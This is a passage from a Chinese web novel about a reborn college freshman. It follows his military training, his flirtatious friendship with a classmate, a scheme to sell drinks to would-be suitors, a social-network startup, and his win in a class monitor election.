“那昨天发生的一幕就很合理了，我要有一位天仙女友，我也瞅不上夏美女和赵美女，不是她俩不优秀啊，而是阈值拔得太高……” “六哥就是六哥，何止牛逼，简直超神，我现在宣布，撩妹这条赛道，六哥是无敌的，他就是传说中的概念神……” 以上感慨来自六零六哥仨。 三人都面无表情。 星爷在《喜剧之王》里说的很清楚，人在受到剧烈冲击时，是不会有任何表情的，而是会进入精神官能休克状态。 班上其他男生，眼睛都瞪得很大，绝对都达到了自己的生理学极限。 隔壁经济系的天仙，居然是我们班上陈让的女朋友？ 靠！ 这家伙上辈子拯救过银河系？ 极度震惊，又有些嫉妒，还有些“与有荣焉”。 女生群体——绝大多数都还垂着脑袋，深深的自卑。 跟这位仿佛浑身都在发光的天仙比，她们压根就是类人猿。 米莱和刘雯对视一眼后，哪里还有勇气、继续找陈让兴师问罪？ 两人踉跄而走，甚至夺路而逃。 昨天中午那两个女孩儿，已经足够惊艳。 现在跟陈让并肩而坐的这位鹅蛋脸少女，却还能更加璀璨。 两人如此亲昵，显然是恋人。 有这样的天仙级正牌女友，还有两位校花级大美女当“备胎”，陈让还需要在米莱身上找存在感，拿米莱主动加他QQ这事儿来炫耀？ 显而易见，这事儿肯定是班上男生们以讹传讹。 跟先前“陈让打算追米莱”一样，都尼玛假消息！ 距离足够近的缘故，陈让能够闻到林静姝身上的味道。 学神少女从来不喷香水——某人嗅到的应该是体味，却带着清香，像是雨后的茉莉花。 这里是有底层逻辑的——喜欢是心理性的，也是生理性的，面对自己真正喜欢的人，大脑甚至会欺骗你，让你觉得她哪哪儿都香。 某人年轻又健壮的身体，不由有些躁动。 这里也是有底层逻辑的——喜欢的人、身上的味道，就是世间最好的催-情药。 吐了口浊气，陈让视线在虞美人颇具规模、连军训服都能撑起来的胸-部划过，顺势而上、掠过圆润的下巴、饱满的红唇，挺翘的鼻梁，最终定格在她明媚的眼瞳。 较于平时，林静姝的眼瞳中，有一抹忐忑。 “呦呦同学，我猜除了找我拧瓶盖，你还事情找我。” “昂——富贵同学，你怎么变聪明了？” “去——我本来就很聪明，说吧，什么事儿？” “我室友们要你请她们吃饭。” “为啥？” “她们都说你是我男朋友，就该请她们吃饭……好让她们照顾好你家的林静姝。” 说到这里，林大美人脸颊多了一抹绯红，艳丽如西山最美的晚霞。 “陈让，我跟她们解释了，说我虽然是你家的林静姝，但我们只是好朋友，并不是恋人，可是她们不信。” “这样啊——” 陈让摸着下巴。 杨艺捣鼓出“众众网”内测版本前，他应该都不会太忙，一顿饭的时间，还是抽得出来的，便嗯了一声，答应了下来。 林静姝眼中浮出明显的愉悦，搭在眼帘上的细长睫毛，微微颤动着，双瞳明亮又澄净，像极了操场旁边辉映着夕阳、波光粼粼的莫愁湖。 她歪着脑袋。 “陈让，那……我要不要也请你室友们吃顿饭？” “这个算了吧，他们不配。” “好吧——” 林大美人沉吟片刻后，总觉得陈让都要请自己室友吃饭了，自己也该补偿他一下子——搜索引擎告诉过她，“礼尚往来”乃是维系“友情”的必要手段。 于是伸出自己修长又饱满的双腿，桃花眼粲粲如星，带着些讨好意味的说：“陈让……我给你玩一下我的脚吧！” 此时也不知道有多少人——尤其金融一班同学——都在“听墙角”。 学神少女这话，说的不算小声。 刷刷刷——许多目光落在陈让身上。 理所当然，陈总达成了“社死现场plus”成就。 相较于暑假请孙柯吃饭那次，这次显然死得更彻底——全班同学都听到了好吧，好几个教官也都听到了。 陈总觉得自己的青春，应该是被彻底杀死了。 今天太阳一直很大，焰腾腾的，操场上没有一丝风。 但是在经济学院众男生的感觉里，操场上何止有风，甚至很喧嚣。 从林静姝摘下遮阳帽那一刻起，她就是经济学院所有男生心中的天仙少女。 在他们的认知中，这样的女孩，就该在悬崖上展览千年。 只可远观，不可近视，遑论亵渎。 事实却是——他们心中的神女，早就被金融一班那个叫陈让的狗比、亵渎过不知道多少次。 都九八五大学生，逻辑思维肯定在线。 从林静姝跟陈让的对话，很容易得出推论——这个狗比不止一次玩过林天仙的脚。 此刻也不知道有多少纯爱战士、在喧嚣的风中凌乱倒地。 性癖暴露，陈总肯定很尬。 社死肯定是社死了，但是某人还是想抢救一下自己。 他瞪了林静姝一眼：“呦呦同学，知不知道你在说什么啊，我这样的正经人，光风霁月，清气如兰，怎么可能玩你的脚？” 学神少女不愧是学神少女，很快抓住了重点：“陈让……所以，你以前玩我的脚，是不正经的咯？” 陈总：“……” 所以她到底是真的什么都不懂，还是揣着明白装糊涂，在他妈点老子？ “咻咻——” 此时教官吹哨了。 休息时间结束，接下来还要站两节课的军姿。 “陈让，拜拜。” 林静姝起身，脚步轻盈，一路娉婷，回了本班方阵。 也不知是不是错觉，陈总分明从她明媚的桃花眼中，看到了一抹揶揄。 五点半左右，第一天军训终于结束，大家伙儿都累得够呛，成群结队往食堂赶，好给疲惫不堪的身体补充能量。 陈让中午没有陪林静姝吃饭，而是跟室友们一起——以至于她有了些小情绪，专门跑过来点自己。 但是始终不跟室友们一起吃饭，又显得自己不合群。 于是陈总折中了一下——叫上林静姝、跟室友们坐一桌。 饭桌上，学神少女依旧如往常那般、时不时夹陈让餐盘中的东西吃，偶尔的，也会把自己认为好吃的菜，往陈让嘴巴里塞。 众目睽睽，为什么林静姝不会尴尬——因为人家逻辑自洽。 好朋友之间，就该彼此分享美好的事物——譬如美食。 其他哥仨肯定看傻了，又感受到了一波巨大的参差。 陈六子也是有毒，没人让你非要跟我们仨一起吃饭的啊，你俩单独开一桌，卿卿我我、郎情妾意不好？ 食堂掌勺的大师傅肯定也有毒，不然为什么好好地饭菜吃进嘴里，却全他妈是狗粮味儿？ 不过让哥仨看不懂的是——明明这两人腻歪的不行，都恨不得互相喂口水了，却还好朋友过来好朋友过去的。 说些“我们在谈友爱”之类的奇怪话。 吃了晚饭，友情愈发坚固的一对好朋友，日常大手牵小手、踩了一个小时蚂蚁。 陈总回到宿舍后，已是晚上九点过，然后就被其他哥仨围住。 “靠北，陈六子，你真的很机车啊，明明早就谈恋爱了，却说自己这辈子没谈过？” “六哥，你这个是有些不地道了，作为咱们六零六唯一脱单的，你必须得请个客！” “六哥，让你请客什么的，我倒是无所谓，但是我真的跟你学怎么撩妹，咱赶紧出书吧！” 陈总逐一回复。 “王老五，你耳聋还是眼瞎啊，刚吃饭时，我不说的很清楚么，我跟林静姝只是好朋友，天王老子来了也是好朋友，‘谈友爱’能跟‘谈恋爱’画等号？” “杨老三，基于同样的原因，让我请吃饭什么的——我只能说，梦里啥都有。” “薛老四——靓仔，我要跟你说几遍，你六哥我真不会撩妹！这么些天，你也看到了嘛，都妹子撩我的！譬如我们班那个米莱，刚才居然又给我发了个好友申请……她绝对是个抖M吧！” 哥仨：“……” 觉得陈六子就是单纯不想请客，并且顺道装了个好大的逼，但是没有证据。 就很烦！ 陈总才不管这三条棒槌烦不烦呢，端着脸盆洗漱去了，捯饬完毕，差不多也晚上十点了，给林静姝发了个“晚安”后，沾床就睡。 接下来几天，依旧是冗长又乏味的军训。 每到休息时间，林静姝基本都会身姿娉婷的、来金融一班方阵找陈让唠嗑。 狗学长们还是会来送水——本质肯定是撩学妹。 陈总很烦这群狗学长。 蜘蛛侠骑个马——大一泡不到妹子，大二大三了，觉得自己站起来了，就敢成群结队来撩学妹了？都尼玛欠收拾！ 也就经济学院男女比例还算平衡，男生们危机感不强。 这群狗学长要是敢去机电院、土木院这种和尚院撩学妹，绝对会被KAO得满头包！ 以上甚至都不是陈让烦狗学长的主要原因——而是狗学长们盯上了林静姝。 到了休息时间就蜂拥而至，觍着脸给林大美人递水。 林静姝肯定不会收。 陈让也冷着脸，赶苍蝇般、赶走了不知道多少狗学长。 却架不住狗学长们的锲而不舍。 春天的野韭菜般，一茬儿一茬儿的冒出来。 陈总彻底烦了，决定给狗学长们上上课。 喜欢送水是吧？ 行行行，老子让你们送，送个够！ 他跟林静姝耳语一番后，林大美人开始接受学长们递水了，而且每收下一瓶，都会说一句“谢谢学长、你是个好人”，并且附带一个“林静姝牌”假笑。 狗学长们哪儿见过这个—— 以林大美人论外级别的颜值，哪怕假笑也甜得批爆！ 更别说林天仙还夸我呢，说我是个好人！ 狗学长们彻底上头。 不一会儿功夫，林静姝面前的饮料，就堆成了小山。 甚至有人送完手里的饮料后，还会一路放小跑、到一公里外的超市再买水，就为了听林天仙说一句“你是个好人”。 很快狗学长们就发现，其实不用跑那么远的。 操场边上，不知道什么时候，多了个卖水的摊位，什么饮料都有，就是卖的有“亿点点”贵，价格是超市的三倍。 考虑到休息时间就那么长，去超市再买水过来，肯定听不到林天仙再夸自己是个好人了。 许多狗学长都上了头。 三倍就三倍，买了！ 当年周幽王能为褒姒烽火戏诸侯，吴三桂能为陈圆圆送掉大明江山，我们不过买点高价水，算个鸡毛？ 相信聪明的同学已经猜到了——操场边上这个卖饮料的摊位，就是陈总开的。 哪儿进的货——从林静姝那儿搬呗。 是不是挺有既视感？ 陈总跟大黄哥学的，“出口转内销”，还做了个小小的版本升级。 第78章 老板、我这算工伤了吧 第七十八章 老板、我这算工伤了吧 陈总这一套“出口转内销”爆狗学长金币的骚操作，只进行了两天。 不是良心发现了——作为一个成熟的狗资本家，他哪有这玩意儿。 而是教官们也看狗学长不爽了，明确禁止他们再来操场。 就这短短两天，陈总却赚了大几千块。 其一是他操作够骚。 零成本进货，售价还是超市三倍，了解一下？ 其二——侧面证明了，人家林大美人的颜值，高到何等程度。 狗学长们也不傻，很多人都看穿了陈总的套路。 但是他们心甘情愿。 谁让天仙妹妹对他们笑、还说他们是好人？ 时间如流水。 半月时间，如此这般、倏忽而过。 乏味又冗长、枯燥且煎熬的军训，终于快要结束。 这次军训有多煎熬呢？ 插播一下这半个月的天气状况。 过去两周出了两次太阳，一次七天，另一次也是七天。 可想而知、零九届新生们，被晒得有多惨。 陈让属于那种不容易晒黑的体质，也都黑了一大圈。 以至于他现在每天起床后，都会揽镜自怜一番，眼中满是明媚的哀伤。 “哎，你陈总这盛世美颜，短时间内是恢复不过来了……富婆姐姐们等我啊！” 他都如此，六零六其他哥仨更不必说。 都黑成了非洲鸡，回家去指不定亲妈都不认识。 女生们稍微好些。 都爱美，会做防晒措施。 比起进校时，却也都黑了不少。 唯一例外是林静姝。 不是说林大美人就一点没被晒黑，但她真就只黑了一点点，不仔细对比，都看不出来。 大家都比以前更黑，如此反衬，她倒是显得更白。 比其他女生漂亮就罢了，还比她们都白——这他妈找谁说理去？ 可想而知，过去这半个月，经济学院的女生们，在林大美人面前有多自惭形秽。 二零零九年九月十五日，星期二，今天就是最后一天军训。 太阳依旧热辣。 上午两节训练课完了后，教官把整个金融系八个班的同学都组织在了一起，让大家伙儿表演节目，算是给这场煎熬的军训、画上一个句点。 这时那些多才多艺的孩子就有舞台了。 譬如薛文彬，拿着把吉他给大家伙儿唱了首陈楚生的《有没有人曾告诉你》，吸引了不少女生的眼球。 王子聪酸的不行。 比不过陈六子也就罢了，现在薛老四这家伙，也有后来居上的架势。 他在六零六的江湖地位，岌岌可危啊。 陈让忍俊不禁。 只能说，现在还没到王大少能用金钱装逼的时候。 这个年龄段的学生，对财富并没有多么具体的概念。 都九八五高材生，个个心里装着星辰大海，可不会因为你是富二代就高看你一眼。 当然——等出了社会被毒打后，这群象牙塔走出来的天之骄子，很快就会滑向另一个极端。 拜金的拜金，慕强的慕强，阿谀的阿谀，钻营的钻营。 也有不愿意屈服的。 但是通常会被扣上loser的帽子。 毕竟不屈服就大概率搞不到钱。 搞不到钱不就是loser？ 成年人的世界，功利主义当道，基本都唯结果论。 没谁在乎你是不是才高八斗，脑袋里是不是装着尼采和康德。 数年之后，就凭王子聪他爸大几十亿的身家，也不知道会有多少拜金女、赶着趟往他身上扑。 那时的王大少，还会不会记得——那年十八、操场集会，他也曾站如喽啰？ 陈让思维正发散着，王子聪突然碰了碰他的胳膊。 “六子，米莱好像在跟你抛媚眼儿。” 陈总回过神来，发现小米同学正在表演舞蹈。 米莱显然很有些舞蹈基础，腰肢那个摇的哟，仿佛荡出了一圈一圈的水。 王大少没看错——小米同学跳舞时，眼神时不时都会故意落在陈让身上，勾勾的，带着些挑-逗。 “靠，米莱同学，你这么骚，你妈妈知道吗？” 陈总瘪瘪嘴，懒得看她。 讲道理，都是有“好朋友”的人了，该避讳还是要避讳的。 当然——更可能的原因，是陈总这人惜命。 要一不小心，诱发了某位学神少女的嫉妒心，哼哼着给他一拳怎么办？ 讲道理，体育生周泰都扛不住“林教头”一拳，就陈总这小身板，怕是会直接飘字符。 “胜败乃兵家常事，少侠且重新来过。” 米莱跳完舞后，专门来问陈让，她刚才是不是跳的不好。 陈总敷衍：“挺好的，又高又远！” 他敷衍的也太敷衍了，米莱气鼓鼓的说：“陈同学，你过分了啊，我跳的是芭蕾，不是跳高，也不是跳远！” “小米同学，不好意思，我这种山猪，哪儿见过什么芭蕾啊，我只知道巴雷特，穿越火线晓得不，最近老火了，我最喜欢用的是‘巴雷特·毁灭’——” “……” 米莱当然知道陈让是故意这么说的。 气的跺脚。 满脸幽怨的回了女生区域。 接下来的才艺表演，众同学可谓“八仙过海、各显神通”。 陈总也算是见识到了人类的物种多样性。 譬如刘雯——刘同学居然练过武术，会劈叉不说，劈下去还能蹭的一下弹起来。 班上有个叫张龙虎的男生，居然会用鼻子喷水，而且一喷三米高。 隔壁班有个瘦瘦的男生，表演了一段走猫步。 那姿态和眼神——何止风骚，简直妩媚。 要不说“男人骚起来、就没女人什么事儿”了呢。 其他诸如单手翻跟斗之类的才艺，都属于不怎么拿得出手的。 轮到了陈让——陈总唯一拿得出手的才艺就是唱歌。 他从薛文彬那儿拿来了吉他，给大家弹唱了一首林俊杰的《可惜没如果》。 同样是弹唱，陈让无论吉他技巧还是唱功，都把刚才的薛文彬爆掉了。 尤其唱功。 毕竟连王天后都夸过他，说他嗓音条件不错，有成为一线歌手的潜质。 “假如把犯得起的错，能错过都错过，应该还来得及去悔过——” 一曲唱完，掌声雷动。 米莱为首，金融系许多女生、都勾勾的看着陈让，眼中直冒小星星。 学生时代会弹唱可是大杀器，更别说像陈让这种弹得很好、唱得更好的。 薛文彬酸了：“靠，六哥故意的吧，我弹唱、他也弹唱，这么一对比，显得我很der啊，这不是抛砖引玉么，我是砖，他是玉……” 王大少狠狠共情了，拍了拍薛文彬的肩膀，眼中满满都是同病相怜。 装逼、立棍、撩妹…… 陈六子无所不通、无一不擅。 偏生人家还挺有文艺范儿。 就刚才那首歌，叫可惜没啥啥的，整多好啊，都差点给他王大少听哭咯。 妈比，这家伙三百六十度无死角的强。 王大少越想越忧伤，觉得有陈让在，他大学四年怕都找不到任何装逼的舞台。 就很烦。 毕竟对他来说，饭可以不吃，逼却不能不装的。 陈让下场后，刚才气鼓鼓跺脚而走的米莱，却又凑了过来。 “刚才那首歌叫《可惜没如果》？真的好好听，谁唱的呢，我怎么都没听过，不只是我，我刚才问过了，咱班上那么多女生，居然没一个听过的……” “这个吧——” 陈总选择了小装一下。 “你没听过很正常，这首歌我写的，今天还是第一次当着人唱。” “你还会写歌？” 米莱抑制不住夹了下腿，眼神逐渐拉丝。 很多人都在背地里骂她骚，讲道理的话，她的确也有点骚。 但她却自诩文艺女青年，最欣赏那种真正有才华的男生。 先前对陈让只是有些好奇——这家伙凭什么能够吸引到那么多大美女？ 现在就真有点欣赏了。 肖茜也欣赏陈让，不过面对林静姝，她鼓不起一点勇气。 米莱不一样。 当不成女朋友，可以当情人吖。 她又不想要什么天长地久，只在乎曾经拥有。 陈让当然想不到，就因为自己唱了首歌，米莱就对他上头了，甚至滋生了想当他情人的想法。 要知道，肯定送她三个字。 “想屁吃！” 讲道理，陈总要是想乱搞男女关系，还轮得到你这小浪蹄子？ 暑假时，就不知道把多少纯良少女吃干抹净咯。 军训正式结束后，陈总带着自己的小挂件——某位学神少女——两人手拉着手去了图书馆。 杨艺早在等他。 半月不见“火鸡哥”，陈总给她吓了一跳。 坐他对面的SSR级宝藏程序员，何止蓬头垢面，简直蓬头垢面。 “杨艺学姐，你这半月怕不是都耽于酒色了吧，怎会憔悴如斯……” “老板，我不喝酒。” “那就是为色所伤了……能够理解，几十个G的图片看下来，你还能活着，已经很厉害了！” “老板，你还好意思说啊，我这算是工伤了吧？” “算，那肯定算，回头给你发五百块钱营养费，咱好好补补吧……” 第79章 知不知道什么叫常务副辅导员！ 第七十九章 知不知道什么叫常务副辅导员！ 调侃几句后，陈总跟杨艺聊起正事。 “众众网”主体框架是山寨的“人人网”，不过杨艺按照陈让的要求，做了许多差异化设计。 首先是注册。 “人人网”搞得是实名制校园社交，这是“人人网”最大特色。 “众众网”抛弃了这套。 实名制什么的，短期看是噱头，长久却是束缚。 后世那几个大火的类论坛网站，哪个搞这套啊——“历史”证明过了，迟早会被淘汰的东西。 另外还在“人人网”那套模版基础上，增加了“兴趣标签”和“动态话题”。 零九年算法推荐系统还不成熟，但是可以简化实现——譬如基于用户兴趣标签，进行相关内容推送。 毕竟两年后张一鸣就能搞出“今日头条”。 也就是说，哪怕在零九年搞大数据推送，也不存在技术壁垒，只不过没那么精准——这个可以随着技术不断迭代，慢慢优化改进。 “人人网”稀烂的UI设计，杨艺也按照陈让的要求，做了极简化处理。 “众众网”还重点强化了论坛属性——这点显借鉴了后世的“知乎”。 至于“小红书”的社区种草和UGC内容，“微博”的实时热点和名人效应，“今日头条”的内容聚合……陈总后续肯定也会慢慢加进去。 现在没必要。 贪多嚼不烂。 就凭陈总基于“人人网”基础上做的这些优化改良，放在公平环境下竞争，足够把“人人网”按在地上蹂-躏和摩擦。 千橡互动的老总陈一舟，此刻正踌躇满志、规划着人人网的IPO。 他肯定想不到，自己早就被一个生理年纪十八岁的小年轻盯上了，正准备撬掉他的基本盘，将他拍死在沙滩上。 “老板，那咱们众众网，什么时候内测？” 大概是陈总出手大方、又不瞎指挥吧。 杨艺现在对“众众网”已经产生了一定归属感——譬如她说的是“咱们”。 “杨艺学姐，已经可以内测了？” “技术层面……问题不大。” “牛而逼之！” 陈总忍不住比了个大拇指。 他完全不懂技术。 但是他尊重。 自己给杨艺提了这么多要求，时间又抠得紧。 杨艺带着她不过十个人的团队，却能完成得很好。 百分百达到要求不可能，七八成总是有的。 达不到的地方，她也充分发挥了“主观能动性”，给出了替代方案。 来之前，作为甲方爸爸，陈总其实是准备可劲儿挑刺、狠狠PUA杨艺一番的。 看到成果后，他改了主意——吹起了杨艺的彩虹屁。 讲道理，这样的SSR程序员，必须得尽力笼络、为陈总所用吖。 杨艺其实是有些怵陈让的。 这小子路子多野？ 才大一就敢拿出大几百个、甚至更多钱来搞网站，而且各种打擦边球，在违法甚至犯罪的边缘疯狂试探，能是什么善茬儿？ 此刻陈让认可了她的努力，还吹了自己好多彩虹屁，杨艺悬着的心终于放下。 “老板，那回去后，我就带着大家做内测前的负载测试和安全测试了啊……大概……需要三天？” “给你五天，我这边也需要去搞定服务器。” “嘻嘻，谢谢老板体谅！” “谁跟你说我在体谅你啊，多给你两天，是因为我要再给你加个活儿——你和你的小伙伴们再弄个自动回帖系统吧，内测阶段，肯定没什么用户，要用户发帖了，一个回帖没有，岂不是显得咱们网站很der？” “……” 杨艺脸颊抽搐一阵后点了点头。 “老板，这个倒是简单，网上就有现成模版，拔下来就行。内容呢，以现在的技术条件，可做不到根据帖子内容智能回复。” “不需要啊，搞些万金油回复就行，譬如写的真好、文采斐然、楼主好棒、我要给你生猴子之类……” “这个肯定没问题，不过……老板吖，这是不是太假了，用户会信吗？” “聪明人肯定不信，不过绝大多数人、其实都不怎么聪明，甚至可以说是伪装成正常人的弱智，哪怕是聪明人——听到吹捧自己的彩虹屁之后，智商也会下滑。” “……” 杨艺脸颊继续抽搐。 她肯定算聪明人，刚才陈让吹她彩虹屁时，她明显感觉脑袋没那么灵光了，智商起码下滑三十个点。 也就是说，自己跟老板聊的是技术，老板跟她说的却是人性。 难怪老板年纪轻轻，就敢拿这么多钱出来做网站创业了——真有东西的！ …… 军训结束当晚，在辅导员严国栋的组织安排下，金融一班六十来个同学、找了个阶梯教室开班会。 内容——选班干部。 经过大半个月相处，班上同学基本也都熟悉。 哪些人组织能力强，哪些人有相应特长，大家都有了个基本了解。 这时选班干部最恰当。 所有班干部中，含金量最高的、肯定是班长。 还是那句话—— 大学班长，可不是初高中那种虚衔，而是有很大权利，妥妥的“常务副辅导员”。 这个位置陈总势在必得。 班上男生都知道他想当班长，也都觉着他已经是班长。 毕竟现在的陈让，就是男生群体中威望威高的。 很多入学前对当班长有想法的男生——譬如杨少杰这个官迷——都明智选择了放弃。 不然呢，好像跟陈让争就能争得过一样，百分百必输，何必自取其辱？ 这些个同学都退而求其次、盯上了其他位置。 譬如学习委员、生活委员、文艺委员。 这些职位虽然不如班长，但是大小也算干部，足够跟高中同学装逼了。 也不是说陈让一个竞争对手都没有。 女生中有个叫罗琴的、依旧没有放弃，在严国栋讲完套话，让有想法竞争班长位置的同学、上台演讲后，她咬了咬牙，选择了第一个上台。 罗琴一看就是那种目标明确、非常有规划的女生。 她一进校就盯上了班长这个位置。 从进校第一天就开始发力。 报名时忙前忙后、协助着大家报名。 当时大家还以为、她是大二大三的学姐。 后来才知道、原来她也是大一新生。 军训时更是没少给班上同学买水。 估摸着军训半个月、她光是买水就花了小一千。 为了能当上班长，她付出了许多汗水，更是下足血本。 罗琴显然有备而来，写了演讲稿的，竞选发言非常得体。 有宏观阐述。 如果她能当上班长，一定竭尽所能，为大家服务，做辅导员的小帮手、同学们的小公仆，带着金融一班奔向美好的未来。 也有落到实处。 说她已经提前整理好了一份选课指南，甭管能不能当上班长，待会儿都会发给大家。 陈让有些震惊——虽然不多。 这小姑娘真有点东西。 要不是他提前做了许多铺垫，既在男生群体中树立起了绝对的威信，又把辅导员舔的非常舒坦，公平竞争，真不一定搞得过她。 但是现在——陈总真的不知道怎么输。 他在男生群体中的基本盘太稳。 班上男生又比女生多。 哪怕一个女生都不选自己，他也包赢。 当然该走的程序还是要走。 陈总胜负欲多强。 他不仅要赢罗琴，还要赢得干脆利落，给年轻的小罗上一课。 让她什么叫“今日-你见我、便如一粒蜉蝣见青天”！ 罗琴下台后，陈让上台。 陈总本来准备的竞选发言，也跟罗琴先前讲的差不多——仔细雕琢的套话。 但是有罗琴珠玉在前，陈让很难超过她，而且还有拾人牙慧的嫌疑。 一念至此，陈让把先前写好的稿子扔了。 不谈什么为人民服务了，他决定给班上同学们掰扯掰扯，金融一班由他执掌龙头棍的话，会有哪些好处。 环视一周后，陈让浅笑着开口： “同学们，如果我当班长，考试前我会竭尽所能，跟任课老师们沟通，尽量让大家都不挂科。” “奖学金、助学金，入党之类的好事，我也会尽量给大家争取，保证让满足条件的同学不落选……” “这时候，大家可能就有疑问了，你陈让几斤几两啊，凭什么说这些大话？” “这个吧，我还真有些底气。毕竟……入学前，咱们蜀大常务副校长孙柯，专门到了我老家，请我吃了顿饭，多少也有些香火情。” 讲完后，陈让昂首挺胸，缓步下台。 掌声雷动。 班上同学都奋力鼓起了掌。 要这番话时别人说的，他们肯定不信。 但从陈让嘴巴里说出来，可信度还是很高的。 先前很多女生都在摇摆，选陈让还是选罗琴。 陈让明显比罗琴更优秀。 但他毕竟是男生。 要自己不选罗琴、而是选陈让，会不会被其他女生蛐蛐？ 此时心中的天秤，完全朝陈总倾斜。 评奖学金、助学金，大学入党，还有陈让说的尽量不让大家挂科……这些可都关乎他们的切身利益。 罗琴那些小恩小惠，跟陈总画的饼比起来，根本不值一提。 罗琴完全傻眼。 原本还想着，能靠自己近乎完美的竞选发言扳回一城，跟陈让争一争。 哪儿想得到，陈让不讲武德？ 本来自己就处于劣势。 陈让还挑明了自己上面有人罩。 那她还争什么？ 果然—— 在接下来的选举中，陈让以“53:12”的绝对碾压局，正式当选金融一班的“常务副辅导员”。 严国栋看着这个结果，都有点儿不知道该怎么形容陈让。 这小子本来可以赢得委婉一点，却选择了碾压打法。 和善时他比谁都和善。 凶狠起来，却如一头饿了三天三夜、双眼冒绿光的孤狼。 到底哪一面，才是真正的他？ 陈让正式当选班长后，男生们都非常高兴。 他们眼中的陈让，有担当、也讲义气。 由陈总当班长，许多事情都会很好解决。 女生那边其实也没什么异议——毕竟超过一半的女生都摒弃了性别之见选了陈让。 罗琴很优秀，跟陈让比却又肉眼可见的不如。 唯一“意难平”的是罗琴本人。 看着五十三比十二的悬殊票数，她道心完全崩坏，开完班会后，整个人都还浑浑噩噩。 “罗琴——” 就在她勉强调整好心态，准备回宿舍时，陈让叫住了她。 “陈让，你叫我干嘛……想炫耀你成功者的嘴脸？” 罗琴终究只是个十九岁的少女，再怎么少年老成，也做不到违心的恭喜陈让。 “……” 陈让有被噎到。 你陈总上辈子银行账户里、好歹躺着冷冰冰的十几个亿，有格局的。 当个区区班长，又不是美国总统，有什么好炫耀的？ “罗琴同学，我没有跟你炫耀的想法，有些事儿找你聊聊，一起吃个午饭吧。” “呵呵，我拒绝！” “没记错的话——刚才你竞选班长失败后，参选了学习委员，然后成功当选了吧。” “呵呵，有什么问题？” “罗学委，我以金融一班正班长的名义命令你，立刻跟我到食堂，有重要班务讨论！你要不来，我会认为你严重渎职，一定跟严老师申请、换个听话的学委！” “……” 罗琴脸颊阵阵的抽搐。 这家伙当选班长还不到半个小时，怎么就能把官威抖得这么丝滑…… 陈总心里却在想，呵呵哒，跟老子装傲娇，知不知道什么叫“常务副辅导员”啊？ 第80章 还得是“林教头”！ 第八十章 还得是“林教头”！ 摄于某人“常务副辅导员”的可怕官威，罗琴勉强同意了跟他到食堂吃饭，眉宇间却满是戒备。 那架势，生怕陈总一言不合就跟她表白似的。 陈让多大个人精，当然看出来了，就很der。 这婆娘这么普信的？ 还是说她觉得自己比林静姝还漂亮？ 谁给的勇气，梁静茹吗？ 陈总沉吟片刻后，倒也想明白了缘由。 金融一班这么多人，罗琴大概是唯一不知道他和林静姝关系的。 原因么—— 虽说军训那么多天，休息时林静姝没少来找他维系革命友谊。 但是这时、罗琴早一溜烟跑超市给班上同学买水了。 等她回来林静姝又已经回了本班方阵。 两人恰恰错开。 想到这里，陈让掏出手机，给林静姝发了条短信。 “呦呦同学，给你个机会，来二食堂陪你最好的朋友吃饭。” 该怎么对付罗琴这种自我感觉良好的普信女？ 陈总觉得、林大美人论外级别的美貌，就是最大的杀器。 滋她！ 必须滋她！ “富贵同学……我已经吃过了。” 林静姝近乎秒回。 陈总瘪了瘪嘴，暗道一句“可惜”——林静姝都吃饭了，那显然就滋不成罗琴了。 正想回一句“算了”，林静姝发来了第二条消息。 “但是……跟你一起的话，我还能再吃一丢丢。” 陈让看着，心里忍不住又泛起了阵阵的酥-麻，仿佛过电。 十来分钟后，陈让跟罗琴两人，到了学校二食堂，找位置坐下后，罗琴瞪着某人，眼中依旧满满都是戒备。 陈总耸了耸肩：“罗同学，你不用拿这种眼神看着我，放心吧，我不会跟你表白的，你在我这里很安全。” 罗琴哼哼：“那可说不准！” 陈总：“……” 很好，很有精神，很几把自信！ 脸颊抽搐一阵后，陈让接着开口：“说吧，想吃点什么。” 罗琴选择了痛宰某人一顿：“当然什么贵就吃什么啊，记得多点几个菜，本姑娘现在很饿，胃口也很好！” 陈总忍俊不禁，心想吃个破食堂、未必你这婆娘还能把老子吃破产啊，当你富贵哥这个本蝙蝠侠同款的名字白起的？ 为什么同款—— 过几年才会出来的超英电影《蝙蝠侠大战超人》里，闪电侠问蝙蝠侠“你的超能力是什么”，蝙蝠侠很装逼的说，“i-am-rich”，看不懂英文的同学不用急，这句话的意思是“我是富贵”。 晃晃脑袋后，陈总掏出饭卡去窗口点菜。 蜀大的食堂，除了大锅饭性质的套餐，也可以点菜——就是比套餐贵许多。 前者便宜是为了照顾贫困生。 后者肯定是为了创收。 等陈让端着装了四菜一汤和三碗米饭的餐盘、回到座位时，罗琴表达了疑惑。 “陈让，你怎么打了三碗米饭，还有人要来？” “你不是说你胃口很好么，一碗饭够你吃？” 陈总没说实话。 他还等着林静姝过来、狠狠滋一滋这婆娘呢。 此时偌大食堂突然躁动，许多人目光都投向大门。 陈让跟着看过去，明白了缘由——某位天仙少女到了。 军训已经结束，林静姝此刻穿的已不是墨绿军训服，而是她自己的衣服。 这姑娘哪怕穿军训服都能美得冒泡泡，以至于轰动整个经济学院，获得了“天仙少女”的荣誉称号。 此刻穿着宋臻请国际最顶尖裁缝、为她量身定做的短袍和长裙，更是明丽绝伦、仙气飘飘，日月星辰般耀眼。 陈让看她久了，已经产生了一定抗体，此刻却也被狠狠惊艳。 她今天真的格外漂亮。 颈部纤细修长，下巴圆润白-皙，嘴唇红润饱满。 最好看的还是眼睛。 清澈又灵动，里面光点跃动。 仿佛阳光照过冰层、经过漫反射后产生的色泽。 此时陈让耳边传来了罗琴的声音。 “这个女生叫林静姝，隔壁经济系一班的，漂亮吧，看傻眼了没？” “漂亮吗？” “你眼瞎？” “我脸盲。” “……” 罗琴翻了个白眼。 “陈让，这么跟你说吧，进校才半个月，林静姝已经是公认的经院之花，甚至在很多人的眼中，放眼整个蜀州大学，本科部和研究生部加起来五六万人，她也是最漂亮的那个。” 陈让摸着下巴：“这样啊，看来她的确很漂亮，罗同学，那你客观评价一下，这位林同学，配得上这么优秀的我吗？” “噗——” 罗琴已经开始吃饭了，差点没一口喷出来。 “我承认你有那么一点优秀，但是……哪怕你再闪耀十倍，也不可能追得到林静姝。” “呵呵，那本班长必须得证明一下自己。” “证明啥？” “信不信我能把她叫过来跟咱们一桌吃饭，再让她给我笑一个。” “噗——陈让，你想啥呢，知道林同学有多高冷么？据我所知，哪怕经济一班的男生，近水楼台先得月，军训这么多天，也没谁能跟她搭上话，更是没谁见她笑过。” “打个赌？” “赌什么？” “咱俩谁赢了谁就可以跟对方提一个要求，只要不违反原则，都必须无条件执行。” “是不是哦——把班长位置给我呢？” “可以。” 